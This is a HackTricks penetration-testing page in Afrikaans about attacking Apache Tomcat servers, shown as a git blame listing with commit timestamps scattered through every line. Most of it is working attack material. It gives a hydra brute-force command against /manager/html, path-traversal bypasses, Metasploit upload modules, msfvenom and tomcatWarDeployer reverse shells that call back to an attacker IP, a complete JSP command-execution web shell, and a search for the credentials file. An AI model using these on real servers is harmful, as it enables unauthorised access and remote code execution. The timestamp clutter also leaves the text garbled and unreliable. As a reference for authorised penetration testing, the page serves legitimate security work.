2022-07-31 22:37:48 +00:00
# Tomcat
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:18:39 +00:00
< summary > < strong > Leer AWS-hacking vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-26 15:51:04 +00:00
* Werk jy in 'n **cybersekerheidsmaatskappy** ? Wil jy jou **maatskappy geadverteer sien in HackTricks** ? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat** ? Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
2024-03-09 13:18:39 +00:00
* Ontdek [**Die PEASS-familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFT's** ](https://opensea.io/collection/the-peass-family )
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-09 13:18:39 +00:00
* **Sluit aan by die** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord-groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram-groep** ](https://t.me/peass ) of **volg** my op **Twitter** 🐦[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag** ](https://github.com/carlospolop/hacktricks ) **en** [**hacktricks-cloud-opslag** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
< / details >
2022-04-28 16:01:33 +00:00
2024-03-14 23:38:35 +00:00
**Try Hard Security Group**
2024-03-26 15:51:04 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:38:35 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-11 02:07:06 +00:00
## Ontdekking
2022-04-28 16:01:33 +00:00
2024-03-09 13:18:39 +00:00
* Dit hardloop gewoonlik op **poort 8080**
2024-02-11 02:07:06 +00:00
* **Gewone Tomcat-fout:**
2022-04-28 16:01:33 +00:00
2022-10-05 21:51:12 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (6).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
## Enumerasie
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
### **Weergawe-identifikasie**
2024-03-09 13:18:39 +00:00
Om die weergawe van Apache Tomcat te vind, kan 'n eenvoudige bevel uitgevoer word:
2022-10-02 23:29:55 +00:00
```bash
2024-02-11 02:07:06 +00:00
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2022-10-02 23:29:55 +00:00
```
2024-03-26 15:51:04 +00:00
### **Bestandsligging van Bestuurder**
2024-03-09 13:18:39 +00:00
2024-03-26 15:51:04 +00:00
Die identifisering van die presiese ligging van die ** `/bestuurder` ** en ** `/gasheer-bestuurder` ** gids is noodsaaklik omdat hul name verander kan word. 'n Brute-force soektog word aanbeveel om hierdie bladsye op te spoor.
2020-07-15 15:43:14 +00:00
2024-03-09 13:18:39 +00:00
### **Gebruikersnaam Opsomming**
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Vir Tomcat weergawes ouer as 6, is dit moontlik om gebruikersname op te som met:
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
2024-02-11 02:07:06 +00:00
### **Verstek Wagwoorde**
2024-03-09 13:18:39 +00:00
2024-03-26 15:51:04 +00:00
Die ** `/manager/html` ** gids is veral sensitief omdat dit die oplaai en implementering van WAR-lêers moontlik maak, wat tot kode-uitvoering kan lei. Hierdie gids is beskerm deur basiese HTTP-verifikasie, met algemene wagwoorde wat insluit:
2024-03-09 13:18:39 +00:00
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Hierdie wagwoorde kan getoets word met behulp van:
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
2024-03-24 12:29:59 +00:00
'n Ander opmerklike gids is ** `/manager/status` **, wat die Tomcat en OS weergawe vertoon, wat help met die identifisering van kwesbaarhede.
2024-03-09 13:18:39 +00:00
### **Brute Force Aanval**
2020-07-15 15:43:14 +00:00
2024-03-24 13:29:36 +00:00
Om 'n brute force aanval op die bestuursgids te probeer, kan 'n mens gebruik maak van:
2020-07-15 15:43:14 +00:00
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
2024-02-11 02:07:06 +00:00
## Algemene Kwesbaarhede
2024-03-24 12:29:59 +00:00
### **Wagwoord Terugsporing Uitlek**
2024-03-09 13:18:39 +00:00
Toegang tot `/auth.jsp` kan die wagwoord in 'n terugsporing onthul onder gunstige omstandighede.
2024-02-11 02:07:06 +00:00
### **Dubbele URL-kodering**
2024-03-09 13:18:39 +00:00
Die CVE-2007-1860 kwesbaarheid in `mod_jk` maak dubbele URL-kodering padtraversal moontlik, wat ongemagtigde toegang tot die bestuurskoppelvlak via 'n spesiaal saamgestelde URL moontlik maak.
2024-02-11 02:07:06 +00:00
2024-03-24 12:29:59 +00:00
Om toegang te verkry tot die bestuursweb van die Tomcat, gaan na: `pathTomcat/%252E%252E/manager/html`
2024-02-11 02:07:06 +00:00
### /voorbeelde
2024-03-09 13:18:39 +00:00
2024-03-26 15:51:04 +00:00
Apache Tomcat weergawes 4.x tot 7.x sluit voorbeeldskripte in wat vatbaar is vir inligtinguitlek en kruisskripsaanvalle (XSS). Hierdie skripte, wat volledig gelys is, moet nagegaan word vir ongemagtigde toegang en potensiële uitbuiting. Vind [meer inligting hier ](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/ )
2024-02-11 02:07:06 +00:00
* /voorbeelde/jsp/num/numguess.jsp
* /voorbeelde/jsp/dates/date.jsp
* /voorbeelde/jsp/snp/snoop.jsp
* /voorbeelde/jsp/error/error.html
* /voorbeelde/jsp/sessions/carts.html
* /voorbeelde/jsp/checkbox/check.html
* /voorbeelde/jsp/colors/colors.html
* /voorbeelde/jsp/cal/login.html
* /voorbeelde/jsp/include/include.jsp
* /voorbeelde/jsp/forward/forward.jsp
* /voorbeelde/jsp/plugin/plugin.jsp
* /voorbeelde/jsp/jsptoserv/jsptoservlet.jsp
* /voorbeelde/jsp/simpletag/foo.jsp
* /voorbeelde/jsp/mail/sendmail.jsp
* /voorbeelde/servlet/HelloWorldExample
* /voorbeelde/servlet/RequestInfoExample
* /voorbeelde/servlet/RequestHeaderExample
* /voorbeelde/servlet/RequestParamExample
* /voorbeelde/servlet/CookieExample
* /voorbeelde/servlet/JndiServlet
* /voorbeelde/servlet/SessionExample
2021-03-24 12:52:26 +00:00
* /tomcat-docs/appdev/sample/web/hello.jsp
2024-03-24 12:29:59 +00:00
### **Padtraversal-uitbuiting**
2021-12-23 18:13:55 +00:00
2024-03-24 13:29:36 +00:00
In sommige [**kwesbare opsette van Tomcat** ](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/ ) kan jy toegang tot beskermde gids in Tomcat verkry deur die pad: `/..;/`
2021-12-23 18:13:55 +00:00
2024-03-26 15:51:04 +00:00
Dus, byvoorbeeld, kan jy moontlik **die Tomcat-bestuurder** -bladsy toegang deur te gaan na: `www.vulnerable.com/lalala/..;/manager/html`
2021-12-23 18:13:55 +00:00
2024-03-26 15:51:04 +00:00
**'n Ander manier** om beskermde paaie te omseil deur hierdie truuk te gebruik, is om toegang te verkry tot `http://www.vulnerable.com/;param=value/manager/html`
2024-02-08 22:36:15 +01:00
2022-07-31 22:37:48 +00:00
## RCE
2020-07-15 15:43:14 +00:00
2024-03-24 12:29:59 +00:00
Laastens, as jy toegang het tot die Tomcat-webtoepassingsbestuurder, kan jy ** 'n .war-lêer oplaai en inwerking stel (kode uitvoer)**.
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
### Beperkings
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Jy sal slegs 'n WAR kan inwerking stel as jy **genoeg voorregte** het (rolle: **admin** , **manager** en **manager-script** ). Hierdie besonderhede kan gevind word onder _tomcat-users.xml_ gewoonlik gedefinieer in `/usr/share/tomcat9/etc/tomcat-users.xml` (dit verskil tussen weergawes) (sien [POST ](tomcat.md#post ) afdeling).
2020-07-15 15:43:14 +00:00
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
2020-07-15 15:43:14 +00:00
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy ?path=/monshell"
2020-07-15 15:43:14 +00:00
```
2022-07-31 22:37:48 +00:00
### Metasploit
2020-07-15 15:43:14 +00:00
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost < IP >
msf exploit(multi/http/tomcat_mgr_upload) > set rport < port >
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername < username >
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword < password >
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
2024-03-09 13:18:39 +00:00
### MSFVenom Omgekeerde Skul
2024-02-11 02:07:06 +00:00
1. Skep die oorlog om te ontplooi:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=< LHOST_IP > LPORT=< LHOST_IP > -f war -o revshell.war
```
2024-03-09 13:18:39 +00:00
### Bind en omgekeerde dop met [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2020-07-15 15:43:14 +00:00
2024-03-09 13:33:16 +00:00
In sommige scenario's werk dit nie (byvoorbeeld ou weergawes van sun)
2024-02-08 22:36:15 +01:00
2024-02-11 02:07:06 +00:00
#### Aflaai
2020-07-15 15:43:14 +00:00
```bash
2024-02-11 02:07:06 +00:00
git clone https://github.com/mgeeky/tomcatWarDeployer.git
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:18:39 +00:00
#### Omgekeerde dopshell
2020-07-15 15:43:14 +00:00
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U < username > -P < password > -H < ATTACKER_IP > -p < ATTACKER_PORT > < VICTIM_IP > :< VICTIM_PORT > /manager/html/
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:18:39 +00:00
#### Bind skul
2020-07-15 15:43:14 +00:00
```bash
./tomcatWarDeployer.py -U < username > -P < password > -p < bind_port > < victim_IP > :< victim_PORT > /manager/html/
```
2024-02-11 02:07:06 +00:00
### Gebruik [Culsterd](https://github.com/hatRiot/clusterd)
2020-07-15 15:43:14 +00:00
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
2024-03-24 13:29:36 +00:00
### Handmatige metode - Web shell
2020-07-15 15:43:14 +00:00
2024-02-11 02:07:06 +00:00
Skep **index.jsp** met hierdie [inhoud ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp ):
2020-07-15 15:43:14 +00:00
```java
< FORM METHOD = GET ACTION = 'index.jsp' >
< INPUT name = 'cmd' type = text >
< INPUT type = submit value = 'Run' >
< / FORM >
< %@ page import="java.io.*" %>
< %
2024-02-11 02:07:06 +00:00
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
2020-07-15 15:43:14 +00:00
InputStreamReader(p.getInputStream()));
2024-02-11 02:07:06 +00:00
while((s = sI.readLine()) != null) { output += s+"< / br > "; }
} catch(IOException e) { e.printStackTrace(); }
}
2020-07-15 15:43:14 +00:00
%>
< pre > < %=output %>< / pre >
```
```bash
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
2020-07-15 15:43:14 +00:00
webshell.war is created
2022-10-02 23:29:55 +00:00
# Upload it
2020-07-15 15:43:14 +00:00
```
2024-02-11 02:07:06 +00:00
### Handleiding Metode 2
2022-10-02 23:29:55 +00:00
2024-03-09 13:18:39 +00:00
Kry 'n JSP-web dop soos [hierdie ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp ) en skep 'n WAR-lêer:
2022-10-02 23:29:55 +00:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
2024-02-11 02:07:06 +00:00
zip -r backup.war cmd.jsp
2022-10-02 23:29:55 +00:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
2022-07-31 22:37:48 +00:00
## POST
2020-07-15 15:43:14 +00:00
2024-03-26 15:51:04 +00:00
Naam van Tomcat-geloofsbriewe lêer is _tomcat-users.xml_
2020-07-15 15:43:14 +00:00
```bash
find / -name tomcat-users.xml 2>/dev/null
```
2024-03-09 13:18:39 +00:00
### Ander maniere om Tomcat-gedragskode te versamel:
2020-07-15 15:43:14 +00:00
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
2024-02-11 02:07:06 +00:00
## Ander tomcat skandering gereedskap
2022-07-31 22:37:48 +00:00
* [https://github.com/p0dalirius/ApacheTomcatScanner ](https://github.com/p0dalirius/ApacheTomcatScanner )
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2024-03-09 13:18:39 +00:00
2024-02-08 22:36:15 +01:00
* [https://github.com/simran-sankhala/Pentest-Tomcat ](https://github.com/simran-sankhala/Pentest-Tomcat )
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf ](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf )
2024-03-14 23:38:35 +00:00
**Probeer Hard Security Group**
2024-03-26 15:51:04 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:38:35 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-24 13:29:36 +00:00
< summary > < strong > Leer AWS hak vanaf nul tot held met< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-03-24 13:29:36 +00:00
* Werk jy in 'n **cybersecurity maatskappy** ? Wil jy jou **maatskappy geadverteer sien in HackTricks** ? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat** ? Kyk na die [**INSKRYWINGSPLANNE** ](https://github.com/sponsors/carlospolop )!
2024-03-09 13:18:39 +00:00
* Ontdek [**Die PEASS Familie** ](https://opensea.io/collection/the-peass-family ), ons versameling eksklusiewe [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-09 13:18:39 +00:00
* **Sluit aan by die** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord groep** ](https://discord.gg/hRep4RUj7f ) of die [**telegram groep** ](https://t.me/peass ) of **volg** my op **Twitter** 🐦[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-03-26 15:51:04 +00:00
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **en** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >